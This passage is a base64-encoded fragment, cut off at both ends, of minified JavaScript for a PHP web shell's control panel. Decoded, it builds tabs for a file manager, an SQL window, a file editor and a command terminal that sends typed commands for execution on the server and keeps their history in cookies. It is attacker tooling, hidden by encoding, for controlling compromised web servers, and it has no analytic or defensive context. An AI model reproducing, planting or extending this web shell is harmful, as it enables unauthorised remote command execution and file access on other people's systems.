mNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIik7dmFyIGk9ZVswXS5nZXRBdHRyaWJ1dGUoIm9wdF9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgic3FsLWFjdGl2ZS1jb250ZW50Iil9ZWxzZSBlZGl0b3JDbG9zZSgi
ZGF0YWJhc2Vfd2luZG93Iik7ZC5xdWVyeVNlbGVjdG9yKCJkaXZbb3B0X2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRm1UYWIoZSx0KXt0LnN0b3BQcm9wYWdhdGlvbigpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJmbV9pZCIpLGk
9JCgiZmlsZXNtYW5fdGFiXyIrYSk7aWYoLTEhPWkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoImZpbGVzbWFuLXRhYi1hY3RpdmUiKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5fdGFicyAuZmlsZXNtYW5fdGFiIikpLmxlbmd0aD
4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImZpbGVzbWFuLXRhYi1hY3RpdmUiKTt2YXIgbD1lWzBdLmdldEF0dHJpYnV0ZSgiZm1faWQiKSxyPSJmaWxlc21hbl9ob2xkZXJfIitsO2lmKG51bGwhPSQocikpeyQocikuY2xhc3NMaXN0LnRvZ2dsZSgiZ
mlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKTt2YXIgbz0kKCJmaWxlc21hbl90YWJfIitsKS5nZXRBdHRyaWJ1dGUoInBhdGgiKTtpbml0RGlyKG8pLGQubWYuYy52YWx1ZT1vLGhva2lfY3VycmVudF9mbV9pZD1sfX1pLnJlbW92ZSgpLCQoImZpbGVz
bWFuX2hvbGRlcl8iK2EpLnJlbW92ZSgpLGhva2lGaWxlc21hblRhYkhpZGVUaXRsZSgpfWZ1bmN0aW9uIGNsb3NlT3B0aW9uKGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYoJChhKS5yZW1
vdmUoKSwtMSE9JCgidGFiXyIrYSkuY2xhc3NMaXN0LnZhbHVlLmluZGV4T2YoInRhYl9pc19hY3RpdmUiKSlpZigoZT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIi5vcHRpb25zX3RhYiAudGFiX25hbWUiKSkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0Lm
FkZCgidGFiX2lzX2FjdGl2ZSIpO3ZhciBpPWVbMF0uZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtudWxsIT0kKGkpJiYkKGkpLmNsYXNzTGlzdC50b2dnbGUoIm9wdGlvbl9pc19hY3RpdmUiKX1lbHNlIGVkaXRvckNsb3NlKCJvcHRpb25zX3dpbmRvd
yIpO2QucXVlcnlTZWxlY3RvcigiZGl2W29wdF9pZD0iK2ErIl0iKS5yZW1vdmUoKX1mdW5jdGlvbiBoaXN0b3J5UGFuZWxDb250cm9sbGVyKGUpeyJoaWRkZW4iPT1lLmdldEF0dHJpYnV0ZSgibW9kZSIpPyhkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0
b3ItZXhwbG9yZXIiKS5zdHlsZS5kaXNwbGF5PSJibG9jayIsZC5xdWVyeVNlbGVjdG9yKCIuZWRpdG9yLW1vZGFsIikuc3R5bGUubWFyZ2luTGVmdD0iMjAlIixlLnNldEF0dHJpYnV0ZSgibW9kZSIsInZpc2libGUiKSxlLnN0eWxlLmxlZnQ9IjE
5JSIsZS5pbm5lckhUTUw9Ijw8Iik6KGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1leHBsb3JlciIpLnN0eWxlLmRpc3BsYXk9Im5vbmUiLGQucXVlcnlTZWxlY3RvcigiLmVkaXRvci1tb2RhbCIpLnN0eWxlLm1hcmdpbkxlZnQ9IjElIixlLnNldE
F0dHJpYnV0ZSgibW9kZSIsImhpZGRlbiIpLGUuc3R5bGUubGVmdD0iMCUiLGUuaW5uZXJIVE1MPSI+PiIpfWZ1bmN0aW9uIGNsb3NlVGVybWluYWxDb250ZW50KGUsdCl7dC5zdG9wUHJvcGFnYXRpb24oKTt2YXIgYT1lLmdldEF0dHJpYnV0ZSgid
GVybV9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiYWN0aXZlLXRlcm1pbmFsLXRhYiIpKSYmKGU9ZC5xdWVyeVNlbGVjdG9yQWxsKCIudGVybWluYWwtdGFicyAudGVybWluYWwt
dGFiIikpLmxlbmd0aD4xKXtlWzBdLmNsYXNzTGlzdC5hZGQoImFjdGl2ZS10ZXJtaW5hbC10YWIiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgidGVybV9pZCIpO251bGwhPSQoaSkmJiQoaSkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1
pbmFsLWNvbnRlbnQiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdlt0ZXJtX2lkPSIrYSsiXSIpLnJlbW92ZSgpfWZ1bmN0aW9uIGNsb3NlRWRpdG9yQ29udGVudChlLHQpe3Quc3RvcFByb3BhZ2F0aW9uKCk7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoIm9wdF
9pZCIpO2lmKCgkKGEpLnJlbW92ZSgpLC0xIT0kKCJ0YWJfIithKS5jbGFzc0xpc3QudmFsdWUuaW5kZXhPZigiZWRpdG9yLXRhYi1hY3RpdmUiKSkmJihlPWQucXVlcnlTZWxlY3RvckFsbCgiLmVkaXRvci10YWJzIC5lZGl0b3ItdGFiLW5hbWUiK
SkubGVuZ3RoPjEpe2VbMF0uY2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKTt2YXIgaT1lWzBdLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7bnVsbCE9JChpKSYmJChpKS5jbGFzc0xpc3QudG9nZ2xlKCJlZGl0b3ItY29udGVudC1hY3Rp
dmUiKX1kLnF1ZXJ5U2VsZWN0b3IoImRpdltvcHRfaWQ9IithKyJdIikucmVtb3ZlKCl9ZnVuY3Rpb24gb3B0aW9uc1RhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLm9wdGlvbnNfaG9sZGVyLm9wdGlvbl9pc19hY3RpdmUiKS5
jbGFzc0xpc3QucmVtb3ZlKCJvcHRpb25faXNfYWN0aXZlIil9Y2F0Y2goZSl7fXZhciB0PWUuZ2V0QXR0cmlidXRlKCJvcHRfaWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgib3B0aW9uX2lzX2FjdGl2ZSIpO3
RyeXtkLnF1ZXJ5U2VsZWN0b3IoIiNvcHRpb25zX3dpbmRvdyAuY29udGVudF9vcHRpb25zX2hvbGRlciAub3B0aW9uc190YWIgXHQudGFiX25hbWUudGFiX2lzX2FjdGl2ZSIpLmNsYXNzTGlzdC5yZW1vdmUoInRhYl9pc19hY3RpdmUiKX1jYXRja
ChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY2xhc3NMaXN0LmFkZCgidGFiX2lzX2FjdGl2ZSIpLGQucXVlcnlTZWxlY3RvcigiLm9wdC10aXRsZSIpLmlubmVySFRNTD1lLmdldEF0dHJpYnV0ZSgidGl0bGUiKSxob2tp
VXBkYXRlT3B0aW9uc0JhZGdlKCJvcHRpb25zX3dpbmRvdyIpfWZ1bmN0aW9uIHRlcm1pbmFsVGFiQ29udHJvbGxlcihlKXt0cnl7ZC5xdWVyeVNlbGVjdG9yKCIudGVybWluYWwtdGFiLmFjdGl2ZS10ZXJtaW5hbC10YWIiKS5jbGFzc0xpc3QucmV
tb3ZlKCJhY3RpdmUtdGVybWluYWwtdGFiIil9Y2F0Y2goZSl7fXRyeXtkLnF1ZXJ5U2VsZWN0b3IoIi50ZXJtaW5hbC1jb250ZW50LmFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiYWN0aXZlLXRlcm1pbmFsLWNvbn
RlbnQiKX1jYXRjaChlKXt9dmFyIHQ9ZS5nZXRBdHRyaWJ1dGUoInRlcm1faWQiKTtpZihudWxsPT10KXJldHVybiExOyQodCkuY2xhc3NMaXN0LnRvZ2dsZSgiYWN0aXZlLXRlcm1pbmFsLWNvbnRlbnQiKSxlLmNsYXNzTGlzdC5yZW1vdmUoInRhY
i1pcy1kb25lIiksZS5jbGFzc0xpc3QuYWRkKCJhY3RpdmUtdGVybWluYWwtdGFiIiksJCh0KS5xdWVyeVNlbGVjdG9yKCIucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJjZ2lsb2FkZXIiKX1mdW5j
dGlvbiBmaWxlc21hblRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3RvcigiLmFqYXhhcmVhLmZpbGVzbWFuLWFjdGl2ZS1jb250ZW50IikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tYWN0aXZlLWNvbnRlbnQiKX1jYXRjaChlKXt
9dHJ5e2QucXVlcnlTZWxlY3RvcigiLmZpbGVzbWFuX3RhYi5maWxlc21hbi10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgiZm1faWQiKTtpZi
hudWxsPT10KXJldHVybiExO2hva2lfY3VycmVudF9mbV9pZD10LGUuY2xhc3NMaXN0LmFkZCgiZmlsZXNtYW4tdGFiLWFjdGl2ZSIpLGUuY2xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSwkKCJmaWxlc21hbl9ob2xkZXJfIit0KS5jbGFzc
0xpc3QudG9nZ2xlKCJmaWxlc21hbi1hY3RpdmUtY29udGVudCIpO3ZhciBhPWUuZ2V0QXR0cmlidXRlKCJwYXRoIik7aW5pdERpcihhKSxkLm1mLmMudmFsdWU9YX1mdW5jdGlvbiBkYlRhYkNvbnRyb2xsZXIoZSl7dHJ5e2QucXVlcnlTZWxlY3Rv
cigiLnNxbC1jb250ZW50LnNxbC1hY3RpdmUtY29udGVudCIpLmNsYXNzTGlzdC5yZW1vdmUoInNxbC1hY3RpdmUtY29udGVudCIpfWNhdGNoKGUpe310cnl7ZC5xdWVyeVNlbGVjdG9yKCIuc3FsLXRhYm5hbWUuc3FsLWFjdGl2ZS10YWIiKS5jbGF
zc0xpc3QucmVtb3ZlKCJzcWwtYWN0aXZlLXRhYiIpfWNhdGNoKGUpe312YXIgdD1lLmdldEF0dHJpYnV0ZSgib3B0X2lkIik7aWYobnVsbD09dClyZXR1cm4hMTskKHQpLmNsYXNzTGlzdC50b2dnbGUoInNxbC1hY3RpdmUtY29udGVudCIpLGUuY2
xhc3NMaXN0LnJlbW92ZSgidGFiLWlzLWRvbmUiKSxlLmNsYXNzTGlzdC5hZGQoInNxbC1hY3RpdmUtdGFiIiksaG9raVVwZGF0ZU9wdGlvbnNCYWRnZSgiZGF0YWJhc2Vfd2luZG93Iil9ZnVuY3Rpb24gZWRpdG9yVGFiQ29udHJvbGxlcihlLHQpe
3RyeXtkLnF1ZXJ5U2VsZWN0b3IoIi5lZGl0b3ItY29udGVudHMuZWRpdG9yLWNvbnRlbnQtYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLWNvbnRlbnQtYWN0aXZlIil9Y2F0Y2goZSl7fXZhciBhPW51bGw7dm9pZCAwPT09dD9hPWUu
Z2V0QXR0cmlidXRlKCJvcHRfaWQiKTooYT1lLGU9JCgidGFiXyIrYSkpO3ZhciBpPWVkaXRvcl9maWxlc1siZmlsZV8iK2EucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCIiKV07aWYodm9pZCAwIT09aSYmKGQucXVlcnlTZWxlY3RvcigiLmVkaXR
vci1wYXRoIikuaW5uZXJIVE1MPShpLnB3ZCsiLyIraS5maWxlKS5yZXBsYWNlKC9cL1wvL2csIi8iKSksbnVsbD09YSlyZXR1cm4hMTskKGEpLmNsYXNzTGlzdC50b2dnbGUoImVkaXRvci1jb250ZW50LWFjdGl2ZSIpO3RyeXtkLnF1ZXJ5U2VsZW
N0b3IoIi5lZGl0b3ItdGFicyAuZWRpdG9yLXRhYi1uYW1lLmVkaXRvci10YWItYWN0aXZlIikuY2xhc3NMaXN0LnJlbW92ZSgiZWRpdG9yLXRhYi1hY3RpdmUiKX1jYXRjaChlKXt9ZS5jbGFzc0xpc3QucmVtb3ZlKCJ0YWItaXMtZG9uZSIpLGUuY
2xhc3NMaXN0LmFkZCgiZWRpdG9yLXRhYi1hY3RpdmUiKSxob2tpVXBkYXRlT3B0aW9uc0JhZGdlKCJlZGl0b3IiKX1mdW5jdGlvbiBob2tpVXBkYXRlT3B0aW9uc0JhZGdlKGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiIyIrZSsiLW1pbmltaXpl
ZCAub3B0aW9uc19taW5fYmFkZ2UiKTtpZihudWxsIT10KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3JBbGwoIiMiK2UrIiAudGFiLWlzLWRvbmUiKS5sZW5ndGg7dC5pbm5lckhUTUw9YSx0LnN0eWxlLnZpc2liaWxpdHk9YT4wPyJ2aXNpYmxlIjoiaGl
kZGVuIn19ZnVuY3Rpb24gaG9raU9wZW5QaHBUZXJtaW5hbChlKXtpZihwaHBfdGVtcmluYWxfdXNpbmdfY2dpJiZ2b2lkIDA9PT1lKXNob3dFZGl0b3IoImNnaWxvYWRlciIpO2Vsc2V7JCgiY2dpbG9hZGVyIikuc3R5bGUuZGlzcGxheT0iYmxvY2
siLCQoImNnaWxvYWRlciIpLnN0eWxlLmJhY2tncm91bmQ9InJnYmEoMCwgMCwgMCwgMC41NykiLCQoImNnaWZyYW1lIikuc3R5bGUuYmFja2dyb3VuZD0icmdiYSgwLCAwLCAwLCAwLjgxKSIsJCgiY2dpZnJhbWUiKS5zdHlsZS5ib3JkZXI9IjFwe
CBzb2xpZCByZ2IoMzAsIDg2LCAxMTUpIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLmhlaWdodD0iOTAlIiwkKCJjZ2lmcmFtZSIpLnN0eWxlLnBhZGRpbmc9IjNweCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhU
TUw9IlRlcm1pbmFsIjt2YXIgdD0iIixhPSIiLGk9InRlcm1pbmFsX2lkXyIrZ2V0UmFuZG9tKDEwKTt2b2lkIDA9PT1lJiYodD0iIGFjdGl2ZS10ZXJtaW5hbC1jb250ZW50IixhPSIgYWN0aXZlLXRlcm1pbmFsLXRhYiIpLGQucXVlcnlTZWxlY3R
vcigiI2NnaWZyYW1lIC50ZXJtaW5hbC1jb250ZW50cyIpLmluc2VydEFkamFjZW50SFRNTCgiYWZ0ZXJiZWdpbiIsJzxkaXYgaWQ9IicraSsnIiBjbGFzcz0idGVybWluYWwtY29udGVudCcrdCsnIj48ZGl2IGNsYXNzPSJwaHAtdGVybWluYWwtb3
V0cHV0Ij48ZGl2PjxidXR0b24gY2xhc3M9InRlcm1pbmFsLWJ0bi1mb250Y3RsIiBvbkNsaWNrPSJjaGFuZ2VUZXJtaW5hbEZvbnRTaXplKFwnJytpKydcJywxKTsiPis8L2J1dHRvbj48YnV0dG9uIGNsYXNzPSJ0ZXJtaW5hbC1idG4tZm9udGN0b
CIgb25DbGljaz0iY2hhbmdlVGVybWluYWxGb250U2l6ZShcJycraSsiJywwKTtcIj4tPC9idXR0b24+PGlucHV0IG9uY2hhbmdlPVwiaG9raVRlcm1pbmFsQ2hhbmdlY29sb3IodGhpcywnIitpKydcJyk7IiBzdHlsZT0iaGVpZ2h0OiAxOHB4O2Jh
Y2tncm91bmQ6ICNkZGUyZTI7IiB0eXBlPSJjb2xvciI+PC9kaXY+PHByZSBjbGFzcz0ibWwxIiBzdHlsZT0iYm9yZGVyOnVuc2V0O2hlaWdodDogOTAlOyI+PC9wcmU+PC9kaXY+PGRpdj48Zm9ybSB0ZXJtX2lkPSInK2krJyIgb25TdWJtaXQ9Imh
va2lFeGVjVGVybWluYWwodGhpcyk7dGhpcy5jLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHN0eWxlPSJtYXJnaW4tdG9wOiAxMHB4OyI+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87d2hpdGUtc3BhY2U6IG
5vd3JhcDsiPjxkaXYgc3R5bGU9ImRpc3BsYXk6IGlubGluZS1ibG9jaztjb2xvcjojNGZiZWMzO21hcmdpbi1ib3R0b206NXB4O21hcmdpbi1yaWdodDo1cHg7Ij5DV0Q6fiMgPC9kaXY+PGRpdiBzdHlsZT0iZGlzcGxheTogaW5saW5lLWJsb2NrO
2NvbG9yOiM0MmVjNDI7IiBjbGFzcz0icGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIj48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJwb3NpdGlvbjpyZWxhdGl2ZTsiPjxzcGFuIHN0eWxlPSJjb2xvcjogIzAwZmYwODtmb250LXNpemU6IDI1cHg7Ij4k
IDwvc3Bhbj48aW5wdXQgc3R5bGU9InBhZGRpbmc6IDhweDtmb250LXNpemU6IDIwcHg7d2lkdGg6IDY3JTtib3JkZXI6IDFweCBzb2xpZCAjMjc5NzlCO3BhZGRpbmctcmlnaHQ6MzVweDsiIG9ua2V5dXA9Imhva2lXYWxrSW5UZXJtaW5hbEhpc3R
vcnkodGhpcyxldmVudCxcJycraSsnXCcpOyIgdGVybV9pZD0iJytpKyciIGNsYXNzPSJwaHAtdGVybWluYWwtaW5wdXQiIHR5cGU9InRleHQiIG5hbWU9ImMiIG9uZm9jdXM9ImNsb3NlSGlzdG9yeUNtZChcJ2ZyZWVcJyx0aGlzKTsiIHBsYWNlaG
9sZGVyPSJscyAtbGEiPjxidXR0b24gY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7Ij5FeGVDdXRlP
GJ1dHRvbiB0ZXJtX2lkPSInK2krJyIgY2xhc3M9ImJ1dHRvbiIgc3R5bGU9ImNvbG9yOiAjMjc5NzlCO3BhZGRpbmc6IDEycHg7bWFyZ2luLWxlZnQ6IDEwcHg7Ym9yZGVyLXJhZGl1czogMnB4O2ZvbnQtd2VpZ2h0OiBib2xkZXI7IiBvbkNsaWNr
PSJob2tpRXhlY1Rlcm1pbmFsKHRoaXMsIDEpO3JldHVybiBmYWxzZTsiPkN1cnJlbnQgRGlyPC9idXR0b24+PGRpdiBjbGFzcz0iY21kLWhpc3RvcnktaG9sZGVyIj48ZGl2IGNsYXNzPSJjb21tYW5kcy1oaXN0b3J5LWhlYWRlciI+SGlzdG9yeTw
vZGl2PjxzcGFuIG9uQ2xpY2s9ImNsZWFyVGVybWluYWxIaXN0b3J5KCk7IiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkO21hcmdpbi1ib3R0b206IDVweDtkaXNwbGF5OiBpbmxpbmUtYmxvY2s7cGFkZGluZzogNXB4O2NvbG9yOiAjNT
lkZTY5O2N1cnNvcjogcG9pbnRlcjsiPkNsZWFyIGhpc3Rvcnk8L3NwYW4+PGRpdiBzdHlsZT0ib3ZlcmZsb3c6IGF1dG87aGVpZ2h0OiA4MiU7IiBjbGFzcz0iY29tbWFuZHMtaGlzdG9yeSI+PC9kaXY+PC9kaXY+PGRpdiB0ZXJtX2lkPSInK2krJ
yIgY2xhc3M9ImNtZC1oaXN0b3J5LWljb24iIG1vZGU9IiIgb25jbGljaz0iY2xvc2VIaXN0b3J5Q21kKHRoaXMpOyI+PGltZyBzdHlsZT0id2lkdGg6MjdweDsiIHNyYz0iaHR0cHM6Ly9wbmcucG5ndHJlZS5jb20vcG5nLWNsaXBhcnQvMjAyMzAz
MDgvb3VybWlkL3BuZ3RyZWUtbG9nby1nYXJ1ZGEtcGFuY2FzaWxhLXJlZC13aGl0ZS1lYWdsZS1mb3ItZGZ0LXByaW50LWZyZWUtZG93bmxvYWQtcG5nLWltYWdlXzY2MzcxNTkucG5nIj48L2Rpdj48L2Zvcm0+PC9kaXY+PC9kaXY+PC9kaXY+Jyk
7dHJ5eyQoInRlcm1pbmFsX25ld190YWIiKS5yZW1vdmUoKX1jYXRjaChlKXt9ZC5xdWVyeVNlbGVjdG9yKCIjY2dpZnJhbWUgLnRlcm1pbmFsLXRhYnMiKS5pbnNlcnRBZGphY2VudEhUTUwoImJlZm9yZWVuZCIsJzxkaXYgb25jbGljaz0idGVybW
luYWxUYWJDb250cm9sbGVyKHRoaXMpOyIgdGVybV9pZD0iJytpKyciIGlkPSJ0YWJfJytpKyciIGNsYXNzPSJ0ZXJtaW5hbC10YWInK2ErJyI+VGVybWluYWwgPGltZyB0ZXJtX2lkPSInK2krJyIgb25jbGljaz0iY2xvc2VUZXJtaW5hbENvbnRlb
nQodGhpcyxldmVudCk7cmV0dXJuIGZhbHNlOyIgdGl0bGU9IltjbG9zZV0iIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2RlbGV0ZS5zdmciPjwvZGl2PicpLGQucXVlcnlTZWxlY3RvcigiI2NnaWZyYW1lIC50ZXJtaW5h
bC10YWJzIikuaW5zZXJ0QWRqYWNlbnRIVE1MKCJiZWZvcmVlbmQiLCc8ZGl2IG9uY2xpY2s9Imhva2lPcGVuUGhwVGVybWluYWwodHJ1ZSk7IiBpZD0idGVybWluYWxfbmV3X3RhYiIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6IzgwMDAwMDsiIGN
sYXNzPSJ0ZXJtaW5hbC10YWIiPk5ldyBUYWIgKzwvZGl2PicpLHRlcm1pbmFsX3dhbGtfaW5kZXhbaV09e2luZGV4OjAsa2V5Oi0xfSxkLnF1ZXJ5U2VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWlucHV0IikuZm9jdXMoKSxkLnF1ZXJ5U2
VsZWN0b3IoIiMiK2krIiAucGhwLXRlcm1pbmFsLWN1cnJlbnQtZGlyIikuaW5uZXJIVE1MPWNfLGQucXVlcnlTZWxlY3RvcigiI2NnaWxvYWRlci1taW5pbWl6ZWQgLm1pbmltaXplZC10ZXh0IikuaW5uZXJIVE1MPSJUZXJtaW5hbCIsaG9raVRlc
m1pbmFsU2V0Q29sb3JBbmRTaXplKGkpLHBocF90ZW1yaW5hbF91c2luZ19jZ2k9ITA7dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSgpO2Zvcih2YXIgciBpbiBsKWQucXVlcnlTZWxlY3RvcigiIyIraSsiIC5jbWQtaGlzdG9yeS1ob2xkZXIg
LmNvbW1hbmRzLWhpc3RvcnkiKS5pbnNlcnRBZGphY2VudEhUTUwoImFmdGVyYmVnaW4iLCI8ZGl2IG9uY2xpY2s9XCJkLnF1ZXJ5U2VsZWN0b3IoJyMiK2krJyAucGhwLXRlcm1pbmFsLWlucHV0XCcpLnZhbHVlID0gdGhpcy5pbm5lckhUTUw7IiB
jbGFzcz0iaGlzdG9yeS1jbWQtbGluZSI+JytsW3JdKyI8L2Rpdj4iKX1kLmJvZHkuc3R5bGUub3ZlcmZsb3c9ImhpZGRlbiJ9ZnVuY3Rpb24gaG9raVRlcm1pbmFsU2V0Q29sb3JBbmRTaXplKGUpe3ZhciB0PWdldENvb2tpZSgiaG9raS10ZXJtaW
5hbC1jb2xvciIpLGE9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWZvbnRzaXplIik7dm9pZCAwIT09dCYmKGQucXVlcnlTZWxlY3RvcigiIyIrZSsiIHByZS5tbDEiKS5zdHlsZS5jb2xvcj10KSx2b2lkIDAhPT1hJiYoZC5xdWVyeVNlbGVjdG9yK
CIjIitlKyIgcHJlLm1sMSIpLnN0eWxlLmZvbnRTaXplPWEpfWZ1bmN0aW9uIGhva2lUZXJtaW5hbENoYW5nZWNvbG9yKGUsdCl7ZC5xdWVyeVNlbGVjdG9yKCIjIit0KyIgcHJlLm1sMSIpLnN0eWxlLmNvbG9yPWUudmFsdWUsc2V0Q29va2llKCJo
b2tpLXRlcm1pbmFsLWNvbG9yIixlLnZhbHVlLDIwMTIpfWZ1bmN0aW9uIGhva2lHZXRUZXJtaW5hbEhpc3RvcnkoZSl7dmFyIHQ9Z2V0Q29va2llKCJob2tpLXRlcm1pbmFsLWhpc3RvcnkiKTt0cnl7dD1hdG9iKHQpLHQ9SlNPTi5wYXJzZSh0KX1
jYXRjaChlKXt0PVtdfXJldHVybiB2b2lkIDAhPT1lJiZ0LnJldmVyc2UoKSx0fWZ1bmN0aW9uIGNoYW5nZVRlcm1pbmFsRm9udFNpemUoZSx0KXt2YXIgYT1kLnF1ZXJ5U2VsZWN0b3IoIiMiK2UrIiBwcmUubWwxIiksaT1wYXJzZUludCh3aW5kb3
cuZ2V0Q29tcHV0ZWRTdHlsZShhLG51bGwpLmdldFByb3BlcnR5VmFsdWUoImZvbnQtc2l6ZSIpKSxsPSIiOzE9PXQ/KGw9aSsxKyJweCIsYS5zdHlsZS5mb250U2l6ZT1sKToobD1pLTErInB4IixhLnN0eWxlLmZvbnRTaXplPWwpLHNldENvb2tpZ
SgiaG9raS10ZXJtaW5hbC1mb250c2l6ZSIsbCwyMDEyKX1mdW5jdGlvbiBob2tpV2Fsa0luVGVybWluYWxIaXN0b3J5KGUsdCxhKXt2YXIgaT10fHx3aW5kb3cuZXZlbnQ7aWYoIjM4Ij09aS5rZXlDb2RlfHwiNDAiPT1pLmtleUNvZGV8fCIzNyI9
PWkua2V5Q29kZXx8IjM5Ij09aS5rZXlDb2RlKXN3aXRjaChpLmtleUNvZGUpe2Nhc2UgMzg6dmFyIGw9aG9raUdldFRlcm1pbmFsSGlzdG9yeSghMCkscj0iIjswPT10ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PygwPT10ZXJtaW5hbF93YWx
rX2luZGV4W2FdLmtleSYmKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4LHZvaWQgMCE9PShyPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0pPyhlLnZhbHVlPXIsKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KTooZS52YW
x1ZT0iIix0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTApKTp0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PGwubGVuZ3RoJiYoMD09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJisrdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRle
CxlLnZhbHVlPWxbdGVybWluYWxfd2Fsa19pbmRleFthXS5pbmRleF0sKyt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4KSx0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmtleT0xO2JyZWFrO2Nhc2UgNDA6bD1ob2tpR2V0VGVybWluYWxIaXN0b3J5
KCEwKTtpZih0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4Pj0wKTAhPXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgmJigtLXRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXgsMT09dGVybWluYWxfd2Fsa19pbmRleFthXS5rZXkmJi0tdGV
ybWluYWxfd2Fsa19pbmRleFthXS5pbmRleCksdm9pZCAwIT09KHI9bFt0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4XSk/ZS52YWx1ZT1yOihlLnZhbHVlPSIiLHRlcm1pbmFsX3dhbGtfaW5kZXhbYV0uaW5kZXg9MCk7dGVybWluYWxfd2Fsa1
9pbmRleFthXS5rZXk9MDticmVhaztkZWZhdWx0OmNvbnNvbGUubG9nKGkua2V5Q29kZSl9ZWxzZSB0ZXJtaW5hbF93YWxrX2luZGV4W2FdLmluZGV4PTB9ZnVuY3Rpb24gY2xlYXJUZXJtaW5hbEhpc3RvcnkoKXtkLnF1ZXJ5U2VsZWN0b3JBbGwoI
i5jb21tYW5kcy1oaXN0b3J5IikuZm9yRWFjaChmdW5jdGlvbihlKXtlLmlubmVySFRNTD0iIn0pLHNldENvb2tpZSgiaG9raS10ZXJtaW5hbC1oaXN0b3J5IiwiIiwyMDEyKX1mdW5jdGlvbiBob2tpQWNlVG9GdWxsc2NyZWVuKGUpe3ZhciB0PWUu
Z2V0QXR0cmlidXRlKCJhY2VfaWQiKTtob2tpX2FjZV9lZGl0b3JzLmVkaXRvclt0XS5jb250YWluZXIucmVxdWVzdEZ1bGxzY3JlZW4oKX1mdW5jdGlvbiBjbG9zZUhpc3RvcnlDbWQoZSx0KXtpZigiZnJlZSI9PWUpe3ZhciBhPXQuZ2V0QXR0cml
